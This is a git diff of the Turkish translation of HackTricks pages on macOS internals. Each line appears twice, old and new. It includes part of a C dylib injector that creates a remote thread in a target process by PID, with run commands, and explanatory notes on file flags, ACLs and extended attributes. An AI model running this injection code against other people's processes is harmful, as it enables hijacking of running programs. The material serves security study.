Bir komutu çalıştırmak için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu api'lerle çalışmayı gerektirmiyordu**, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için thread'in aynı zamanda **posix uyumlu olması** gerekir.
Bu nedenle, thread'i **geliştirmek için** **`pthread_create_from_mach_thread`** çağrılmalıdır, bu da geçerli bir pthread oluşturacaktır. Ardından, bu yeni pthread, sistemden bir dylib yüklemek için **dlopen** çağrısı yapabilir, böylece farklı işlemler gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklenebilir.
Bu nedenle, thread'i **iyileştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Daha sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen**'ı **çağırabilir**. Bu sayede farklı işlemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklenebilir.
Örnek dylib'leri aşağıda bulabilirsiniz (örneğin bir log oluşturan ve daha sonra dinleyebileceğiniz bir dylib):
Örnek dylib'leri (örneğin, bir log oluşturan ve ardından dinleyebileceğiniz bir dylib):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert_libraries.md)
{% endcontent-ref %}
<details>
@ -782,44 +796,44 @@ return (-3);
// Set the permissions on the allocated code memory
```c
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
kr = vm_protect(uzakGorev, uzakKod64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Uzak iş parçacığının kodu için bellek izinleri ayarlanamadı: Hata %s\n", mach_error_string(kr));
fprintf(stderr,"Uzak iş parçacığının kodu için bellek izinlerinin ayarlanamadı: Hata %s\n", mach_error_string(kr));
return (-4);
}
// Ayrılan yığın belleğinin izinlerini ayarlayın
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
// Ayrılan yığın belleğinin izinlerini ayarla
kr = vm_protect(uzakGorev, uzakYığın64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Uzak iş parçacığının yığını için bellek izinleri ayarlanamadı: Hata %s\n", mach_error_string(kr));
fprintf(stderr,"Uzak iş parçacığının yığını için bellek izinlerinin ayarlanamadı: Hata %s\n", mach_error_string(kr));
return (-4);
}
// Shellcode'u çalıştırmak için iş parçacığı oluşturun
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
// Shellcode'u çalıştırmak için iş parçacığı oluştur
struct arm_unified_thread_state uzakThreadState64;
thread_act_t uzakThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
memset(&uzakThreadState64, '\0', sizeof(uzakThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // bu gerçek yığın
//remoteStack64 -= 8; // hizalamaya ihtiyaç var 16
uzakYığın64 += (STACK_SIZE / 2); // bu gerçek yığın
//uzakYığın64 -= 8; // 16'lık hizalamaya ihtiyaç var
const char* p = (const char*) remoteCode64;
const char* p = (const char*) uzakKod64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
uzakThreadState64.ash.flavor = ARM_THREAD_STATE64;
uzakThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
uzakThreadState64.ts_64.__pc = (u_int64_t) uzakKod64;
uzakThreadState64.ts_64.__sp = (u_int64_t) uzakYığın64;
printf ("Uzak Yığın 64 0x%llx, Uzak kod %p\n", remoteStack64, p );
printf ("Uzak Yığın 64 0x%llx, Uzak kod %p\n", uzakYığın64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
kr = thread_create_running(uzakGorev, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &uzakThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &uzakThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Uzak iş parçacığı oluşturulamadı: hata %s", mach_error_string (kr));
@ -841,11 +855,11 @@ exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
const char *eylem = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
int rc = stat (eylem, &buf);
if (rc == 0) inject(pid,eylem);
else
{
fprintf(stderr,"Dylib bulunamadı\n");
@ -853,7 +867,7 @@ fprintf(stderr,"Dylib bulunamadı\n");
}
```
</details>
</detaylar>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
@ -870,9 +884,9 @@ Bu teknikte, bir işlemin iş parçacığı kaçırılır:
### Temel Bilgiler
XPC, macOS ve iOS üzerindeki işlemler arasındaki iletişimi sağlayan XNU (macOS tarafından kullanılan çekirdek) Arası İletişim anlamına gelir. XPC, sistemdeki farklı işlemler arasında güvenli, asenkron yöntem çağrıları yapmak için bir mekanizma sağlar. Bu, Apple'ın güvenlik paradigmasının bir parçası olup, her bileşenin yalnızca işini yapmak için gereken izinlere sahip olarak çalıştığı ayrıcalıklı uygulamaların oluşturulmasına olanak tanır ve bu şekilde bir işlem tarafından etkilenen zararı sınırlar.
XPC, macOS ve iOS'ta **işlemler arasındaki iletişim** için bir çerçevedir. XPC, sistemin farklı işlemleri arasında **güvenli, asenkron yöntem çağrıları yapma mekanizması** sağlar. Apple'ın güvenlik paradigmasının bir parçası olan XPC, her **bileşenin** sadece işini yapmak için gereken izinlere sahip olduğu **ayrıcalıklı uygulamaların oluşturulmasına** izin verir, böylece bir işlemin tehlikeye girmesinden kaynaklanabilecek potansiyel zararı sınırlar.
Bu iletişimin nasıl çalıştığı ve nasıl savunmasız olabileceği hakkında daha fazla bilgi için:
Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için şuraya bakın:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
@ -880,9 +894,9 @@ Bu iletişimin nasıl çalıştığı ve nasıl savunmasız olabileceği hakkın
## MIG - Mach Arayüzü Oluşturucusu
MIG, Mach IPC kodu oluşturma sürecini basitleştirmek için oluşturulmuştur. Temel olarak, sunucu ve istemcinin iletişim kurması için gereken kodu oluşturur. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması ve kodu öncekinden çok daha basit hale getirecektir.
MIG, Mach IPC kodu oluşturma sürecini **kolaylaştırmak için oluşturulmuştur**. Temelde, sunucu ve istemcinin belirli bir tanım ile iletişim kurması için **gereken kodu oluşturur**. Oluşturulan kodun çirkin olmasına rağmen, bir geliştirici sadece bunu içe aktarması ve kodu daha önce olduğundan çok daha basit hale getirecektir.
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için şuraya bakın:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
@ -898,14 +912,14 @@ Daha fazla bilgi için kontrol edin:
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin</strong>!</summary>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,46 +2,46 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
</details>
## Dosya hiyerarşisi düzeni
* **/Applications**: Yüklenen uygulamalar burada olmalıdır. Tüm kullanıcılar bunlara erişebilir.
* **/bin**: Komut satırı ikili dosyaları
* **/Applications**: Yüklenen uygulamalar burada olmalıdır. Tüm kullanıcılar bunlara erişebilmelidir.
* **/bin**: Komut satırı ikilileri
* **/cores**: Var ise, çekirdek dökümlerini depolamak için kullanılır
* **/dev**: Her şey bir dosya olarak işlendiği için burada donanım cihazları bulunabilir.
* **/etc**: Yapılandırma dosyaları
* **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Kök dizinde ve her kullanıcının dizininde bir Kütüphane klasörü bulunur.
* **/private**: Belgelenmemiş, ancak bahsedilen birçok klasör özel dizine sembolik bağlantılardır.
* **/sbin**: Temel sistem ikili dosyaları (yönetimle ilgili)
* **/System**: OS X'in çalışmasını sağlayan dosya. Burada genellikle yalnızca Apple'a özgü dosyalar bulunur (üçüncü taraf değil).
* **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Bir Library klasörü kökte ve her kullanıcının dizininde bulunur.
* **/private**: Belgelenmemiş ancak bahsedilen birçok klasör özel dizinine sembolik bağlantılardır.
* **/sbin**: Temel sistem ikilileri (yönetimle ilgili)
* **/System**: OS X'in çalışmasını sağlayan dosya. Burada genellikle yalnızca Apple'a özgü dosyalar bulunmalıdır (üçüncü taraf değil).
* **/tmp**: Dosyalar 3 gün sonra silinir (bu, /private/tmp'ye bir sembolik bağlantıdır)
* **/Users**: Kullanıcıların ev dizini.
* **/usr**: Yapılandırma ve sistem ikili dosyaları
* **/usr**: Yapılandırma ve sistem ikilileri
* **/var**: Günlük dosyaları
* **/Volumes**: Bağlanan sürücüler burada görünecektir.
* **/.vol**: `stat a.txt` komutunu çalıştırarak `16777223 7545753 -rw-r--r-- 1 kullanıcıadı wheel ...` gibi bir şey elde edersiniz, burada ilk sayı dosyanın bulunduğu birim numarası ve ikinci sayı inode numarasıdır. Bu dosyanın içeriğine /.vol/ ile o bilgiyi kullanarak erişebilirsiniz `cat /.vol/16777223/7545753`
* **/.vol**: `stat a.txt` komutunu çalıştırarak `16777223 7545753 -rw-r--r-- 1 kullanıcı adı tekerlek ...` gibi bir şey elde edersiniz, burada ilk sayı dosyanın bulunduğu birim numarası ve ikinci sayı inode numarasıdır. Bu bilgiyi kullanarak bu dosyanın içeriğine /.vol/ üzerinden erişebilirsiniz, `cat /.vol/16777223/7545753` komutunu çalıştırarak.
### Uygulama Klasörleri
### Uygulamaların Klasörleri
* **Sistem uygulamaları** `/System/Applications` altında bulunur
* **Yüklenen** uygulamalar genellikle `/Applications` veya `~/Applications` içinde yüklenir
* **Uygulama verileri**, kök olarak çalışan uygulamalar için `/Library/Application Support` içinde ve kullanıcı olarak çalışan uygulamalar için `~/Library/Application Support` içinde bulunabilir.
* **Root olarak çalışması gereken** üçüncü taraf uygulama **daemonları** genellikle `/Library/PrivilegedHelperTools/` içinde bulunur
* **Kumlanmış** uygulamalar `~/Library/Containers` klasörüne eşlenir. Her uygulamanın, uygulamanın paket kimliğine (`com.apple.Safari`) göre adlandırılmış bir klasörü vardır.
* **Çekirdek** `/System/Library/Kernels/kernel` içinde bulunur
* **Apple'ın çekirdek uzantıları** `/System/Library/Extensions` içinde bulunur
* **Üçüncü taraf çekirdek uzantıları** `/Library/Extensions` içinde saklanır
* **Sistem uygulamaları**, `/System/Applications` altında bulunur
* **Yüklü** uygulamalar genellikle `/Applications` veya `~/Applications` içinde yüklenir
* **Uygulama verileri**, kök olarak çalışan uygulamalar için `/Library/Application Support` ve kullanıcı olarak çalışan uygulamalar için `~/Library/Application Support` içinde bulunabilir.
* **Kök olarak çalışması gereken üçüncü taraf uygulama hizmetleri**, genellikle `/Library/PrivilegedHelperTools/` içinde bulunur
* **Kumlanmış** uygulamalar, `~/Library/Containers` klasörüne eşlenir. Her uygulamanın, uygulamanın paket kimliğine (`com.apple.Safari`) göre adlandırılmış bir klasörü vardır.
* **Çekirdek**, `/System/Library/Kernels/kernel` içinde bulunur
* **Apple'ın çekirdek uzantıları**, `/System/Library/Extensions` içinde bulunur
* **Üçüncü taraf çekirdek uzantıları**, `/Library/Extensions` içinde depolanır
### Hassas Bilgiler İçeren Dosyalar
@ -51,34 +51,34 @@ MacOS, şifreler gibi bilgileri çeşitli yerlerde saklar:
[macos-sensitive-locations.md](macos-sensitive-locations.md)
{% endcontent-ref %}
### Zafiyetli pkg Yükleyicileri
### Güvenlik Açıklı Paket Yükleyicileri
{% content-ref url="macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-installers-abuse.md)
{% endcontent-ref %}
## OS X Özel Uzantıları
## OS X Özel Uzantılar
* **`.dmg`**: Apple Disk Görüntü dosyaları, yükleyiciler için çok yaygındır.
* **`.kext`**: Belirli bir yapıyı takip etmelidir ve bir sürücünün OS X sürümüdür. (bir paket)
* **`.plist`**: Ayrıca özellik listesi olarak da bilinen bilgileri XML veya ikili biçimde depolar.
* **`.dmg`**: Apple Disk Image dosyaları, yükleyiciler için çok yaygındır.
* **`.kext`**: Belirli bir yapıyı takip etmelidir ve sürücünün OS X sürümüdür. (bir paket)
* **`.plist`**: XML veya ikili biçimde bilgi saklayan özellik listesi olarak da bilinir.
* XML veya ikili olabilir. İkili olanlar şunlarla okunabilir:
* `defaults read config.plist`
* `/usr/libexec/PlistBuddy -c print config.plsit`
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
* **`.app`**: Dizin yapısını takip eden Apple uygulamaları (Bir paket).
* **`.dylib`**: Dinamik kitaplıklar (Windows DLL dosyaları gibi)
* **`.pkg`**: xar (eXtensible Archive format) ile aynıdır. İçeriğini yüklemek için installer komutu kullanılabilir.
* **`.DS_Store`**: Bu dosya her dizinde bulunur, dizinin özniteliklerini ve özelleştirmelerini kaydeder.
* **`.Spotlight-V100`**: Bu klasör, sistemdeki her bir birimin kök dizininde görünür.
* **`.metadata_never_index`**: Bu dosya bir birimin kökünde bulunuyorsa Spotlight o birimi dizine eklemeyecektir.
* **`.app`**: Dizin yapısını takip eden Apple uygulamaları (bir paket).
* **`.dylib`**: Dinamik kütüphaneler (Windows DLL dosyaları gibi)
* **`.pkg`**: xar (Genişletilebilir Arşiv biçimi) ile aynıdır. Bu dosyaların içeriğini yüklemek için installer komutu kullanılabilir.
* **`.DS_Store`**: Bu dosya her dizinde bulunur, dizinin özelliklerini ve özelleştirmelerini kaydeder.
* **`.Spotlight-V100`**: Bu klasör, sistemin her bir birim kök dizininde görünür.
* **`.metadata_never_index`**: Bu dosya bir birimin kökünde bulunursa Spotlight o birimi dizine eklemeyecektir.
* **`.noindex`**: Bu uzantıya sahip dosya ve klasörler Spotlight tarafından dizine eklenmeyecektir.
### macOS Paketleri
Bir paket, Finder'da bir nesne gibi görünen bir **dizindir** (Bir paket örneği `*.app` dosyalarıdır).
Bir paket, Finder'da bir nesne gibi görünen bir **dizin**dir (Bir Paket örneği `*.app` dosyalarıdır).
{% content-ref url="macos-bundles.md" %}
[macos-bundles.md](macos-bundles.md)
@ -86,11 +86,11 @@ Bir paket, Finder'da bir nesne gibi görünen bir **dizindir** (Bir paket örne
## Dyld Paylaşılan Önbelleği
MacOS'ta (ve iOS'ta) tüm sistem paylaşılan kitaplıklar, çerçeveler ve dylib'ler gibi, **tek bir dosyada**, dyld paylaşılan önbelleğine adı verilen bir dosyada birleştirilir. Bu, kodun daha hızlı yüklenmesini sağlar.
MacOS'ta (ve iOS'ta) tüm sistem paylaşılan kütüphaneler, çerçeveler ve dylib'ler gibi, **dyld paylaşılan önbelleğe** tek bir dosyada birleştirilir. Bu, kodun daha hızlı yüklenebilmesi için performansı artırır.
Dyld paylaşılan önbellek gibi, çekirdek ve çekirdek uzantıları da önyüklendiği bir çekirdek önbelleğine derlenir ve önyükleme sırasında yüklenir.
Dyld paylaşılan önbellek gibi, çekirdek ve çekirdek uzantıları da önyükleme sırasında yüklenen bir çekirdek önbelleğine derlenir.
Tek dosyadan dylib paylaşılan önbellekten kitaplıkları çıkarmak için eskiden kullanılan [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) adlı ikili dosya günümüzde çalışmayabilir, ancak [**dyldextractor**](https://github.com/arandomdev/dyldextractor) kullanabilirsiniz:
Tek dosyadaki kütüphaneleri çıkarmak için kullanılabilecek [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) adlı ikili dosya eskide kalmış olabilir ancak [**dyldextractor**](https://github.com/arandomdev/dyldextractor) kullanabilirsiniz:
{% code overflow="wrap" %}
```bash
@ -106,10 +106,10 @@ dyldex_all [dyld_shared_cache_path] # Extract all
Eski sürümlerde **paylaşılan önbelleği** **`/System/Library/dyld/`** içinde bulabilirsiniz.
iOS'te bunları **`/System/Library/Caches/com.apple.dyld/`** içinde bulabilirsiniz.
iOS'ta bunları **`/System/Library/Caches/com.apple.dyld/`** içinde bulabilirsiniz.
{% hint style="success" %}
`dyld_shared_cache_util` aracı çalışmasa bile, **paylaşılan dyld ikilisini Hopper'a** geçirebilir ve Hopper tüm kütüphaneleri tanımlayabilir ve **hangisini** incelemek istediğinizi **seçmenize** izin verecektir:
`dyld_shared_cache_util` aracı çalışmasa bile, **paylaşılan dyld ikilisini Hopper'a geçirebilir** ve Hopper tüm kütüphaneleri tanımlayabilir ve **incelemek istediğiniz kütüphaneyi seçmenize olanak tanır**:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (680).png" alt="" width="563"><figcaption></figcaption></figure>
@ -118,42 +118,82 @@ iOS'te bunları **`/System/Library/Caches/com.apple.dyld/`** içinde bulabilirsi
### Klasör izinleri
Bir **klasörde**, **okuma** onu **listelemenize**, **yazma** onun üzerindeki dosyaları **silmenize** ve **yazmanıza**, **yürütme** ise dizini **gezinmenize** izin verir. Örneğin, bir kullanıcının **okuma izni** olduğu bir dizinde, **yürütme izni olmadığı** bir dosyayı **okuyamaz**.
Bir **klasörde**, **okuma** onu **listelemeyi**, **yazma** onu **silmeyi** ve **dosyaları üzerine yazmayı**, ve **çalıştırma** onun içinde **gezmeyi** sağlar. Örneğin, bir kullanıcının **bir dosyayı okuma izni** olduğu bir dizinde, **çalıştırma** izni olmadığı için **dosyayı okuyamayacağını** unutmayın.
### Bayrak değiştiricileri
### Bayrak değiştiriciler
Dosyalara ayarlanabilecek bazı bayraklar vardır ve bu bayraklar dosyanın farklı davranmasını sağlar. Bir dizindeki dosyaların bayraklarını `ls -lO /path/directory` komutuyla kontrol edebilirsiniz.
Dosyalara ayarlanabilen bazı bayraklar vardır ve dosyanın farklı davranmasını sağlar. Bir dizindeki dosyaların bayraklarını `ls -lO /path/directory` ile kontrol edebilirsiniz.
* **`uchg`**: **uchange** bayrağı olarak bilinen bu bayrak, **dosyanın değiştirilmesini veya silinmesini engeller**. Bayrağı ayarlamak için: `chflags uchg file.txt`
* Kök kullanıcı bayrağı **kaldırabilir** ve dosyayı değiştirebilir.
* **`restricted`**: Bu bayrak, dosyanın **SIP tarafından korunmasını** sağlar (bu bayrağı bir dosyaya ekleyemezsiniz).
* **`Sticky bit`**: Sticky bit'e sahip bir dizinde, **yalnızca** dizinin **sahibi veya kök** dosyaları **yeniden adlandırabilir veya silebilir**. Genellikle bu, /tmp dizininde, normal kullanıcıların diğer kullanıcıların dosyalarını silmesini veya taşımasını engellemek için ayarlanır.
* **`uchg`**: **uchange** bayrağı olarak bilinen bu bayrak, **dosyanın değiştirilmesini veya silinmesini engeller**. Ayarlamak için: `chflags uchg file.txt`
* Kök kullanıcı bayrağı **kaldırabilir** ve dosyayı değiştirebilir
* **`restricted`**: Bu bayrak dosyayı **SIP ile korur** (bu bayrağı bir dosyaya ekleyemezsiniz).
* **`Sticky bit`**: Sticky bit'e sahip bir dizin, **yalnızca** dizinin sahibi veya kök **dosyaları yeniden adlandırabilir veya silebilir**. Genellikle bu, /tmp dizininde diğer kullanıcıların dosyalarını silmesini veya taşımasını önlemek için ayarlanır.
Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep stat.h` kullanarak bulabilirsiniz) ve şunlardır:
* `UF_SETTABLE` 0x0000ffff: Sahibin değiştirebileceği bayraklar maskesi.
* `UF_NODUMP` 0x00000001: Dosyayı dökme.
* `UF_IMMUTABLE` 0x00000002: Dosya değiştirilemez.
* `UF_APPEND` 0x00000004: Dosyalara sadece ekleme yapılabilir.
* `UF_OPAQUE` 0x00000008: Dizin birleşimine karşı opaktır.
* `UF_COMPRESSED` 0x00000020: Dosya sıkıştırılmıştır (bazı dosya sistemlerinde).
* `UF_TRACKED` 0x00000040: Bu bayrağa sahip dosyalar için silme/yeniden adlandırma için bildirim yok.
* `UF_DATAVAULT` 0x00000080: Okuma ve yazma için yetki gereklidir.
* `UF_HIDDEN` 0x00008000: Bu öğenin bir GUI'de gösterilmemesi gerektiğine dair ipucu.
* `SF_SUPPORTED` 0x009f0000: Süper kullanıcı tarafından desteklenen bayraklar maskesi.
* `SF_SETTABLE` 0x3fff0000: Süper kullanıcı tarafından değiştirilebilen bayraklar maskesi.
* `SF_SYNTHETIC` 0xc0000000: Sistem salt okunur sentetik bayraklar maskesi.
* `SF_ARCHIVED` 0x00010000: Dosya arşivlenmiştir.
* `SF_IMMUTABLE` 0x00020000: Dosya değiştirilemez.
* `SF_APPEND` 0x00040000: Dosyalara sadece ekleme yapılabilir.
* `SF_RESTRICTED` 0x00080000: Yazma için yetki gereklidir.
* `SF_NOUNLINK` 0x00100000: Öğe kaldırılamaz, yeniden adlandırılamaz veya bağlanamaz.
* `SF_FIRMLINK` 0x00800000: Dosya bir firmlink'tir.
* `SF_DATALESS` 0x40000000: Dosya verisiz nesnedir.
### **Dosya ACL'leri**
Dosya **ACL'leri**, farklı kullanıcılara daha **ayrıntılı izinler** atayabileceğiniz **ACE** (Erişim Kontrol Girişleri) içerir.
Dosya **ACL'leri**, farklı kullanıcılara atanabilen daha **ayrıntılı izinler** olan **ACE'leri** (Erişim Kontrol Girişleri) içerir.
Bir **dizine** bu izinleri verebilirsiniz: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Bir **dizine** bu izinler verilebilir: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Ve bir **dosyaya**: `read`, `write`, `append`, `execute`.
Dosya ACL'leri içeren bir dosyada, izinleri **listelerken** "+" işaretini **bulacaksınız** gibi:
Dosya ACL'leri içerdiğinde izinleri listelerken **"+" işaretini bulacaksınız** gibi:
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
```
Dosyanın ACL'lerini aşağıdaki komutla **okuyabilirsiniz**:
Dosyanın **ACL'lerini** şu şekilde okuyabilirsiniz:
```bash
ls -lde Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
0: group:everyone deny delete
```
Aşağıdaki komutla **ACL'ye sahip tüm dosyaları** bulabilirsiniz (bu işlem çok yavaş olabilir):
Tüm dosyaları ACL'lerle birlikte (bu çok yavaş) şu şekilde bulabilirsiniz:
```bash
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
```
### Kaynak Çatalları | macOS ADS
### Genişletilmiş Öznitelikler
Bu, MacOS makinelerinde **Alternatif Veri Akışları** elde etmek için bir yöntemdir. Bir dosyanın içine **com.apple.ResourceFork** adlı bir genişletilmiş öznitelik içinde içerik kaydederek, içeriği **file/..namedfork/rsrc** içinde kaydedebilirsiniz.
Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve `ls -@` kullanılarak görüntülenebilir ve `xattr` komutu kullanılarak manipüle edilebilir. Bazı yaygın genişletilmiş öznitelikler şunlardır:
- `com.apple.resourceFork`: Kaynak çatalı uyumluluğu. Ayrıca `filename/..namedfork/rsrc` olarak da görülebilir.
- `com.apple.quarantine`: MacOS: Gatekeeper karantina mekanizması (III/6)
- `metadata:*`: MacOS: `_backup_excludeItem` gibi çeşitli meta veriler, veya `kMD*`
- `com.apple.lastuseddate` (#PS): Son dosya kullanım tarihi
- `com.apple.FinderInfo`: MacOS: Finder bilgileri (örneğin, renk Etiketleri)
- `com.apple.TextEncoding`: ASCII metin dosyalarının metin kodlamasını belirtir
- `com.apple.logd.metadata`: `/var/db/diagnostics` içindeki dosyalarda logd tarafından kullanılır
- `com.apple.genstore.*`: Nesil depolama (`/.DocumentRevisions-V100` dosya sisteminin kökünde)
- `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlüğü Koruma tarafından kullanılır (III/10)
- `com.apple.uuidb.boot-uuid`: Benzersiz UUID ile önyükleme dönemlerini işaretleyen logd işaretleri
- `com.apple.decmpfs`: MacOS: Şeffaf dosya sıkıştırması (II/7)
- `com.apple.cprotect`: \*OS: Dosya başına şifreleme verileri (III/11)
- `com.apple.installd.*`: \*OS: installd tarafından kullanılan meta veriler, örneğin, `installType`, `uniqueInstallID`
### Kaynak Çatallar | macOS ADS
Bu, MacOS makinelerinde **Alternatif Veri Akışları** elde etmenin bir yoludur. Bir dosyanın içine içerik kaydedebilirsiniz, bunu dosyanın içinde **com.apple.ResourceFork** adlı genişletilmiş bir öznitelikte kaydederek yapabilirsiniz **file/..namedfork/rsrc**.
```bash
echo "Hello" > a.txt
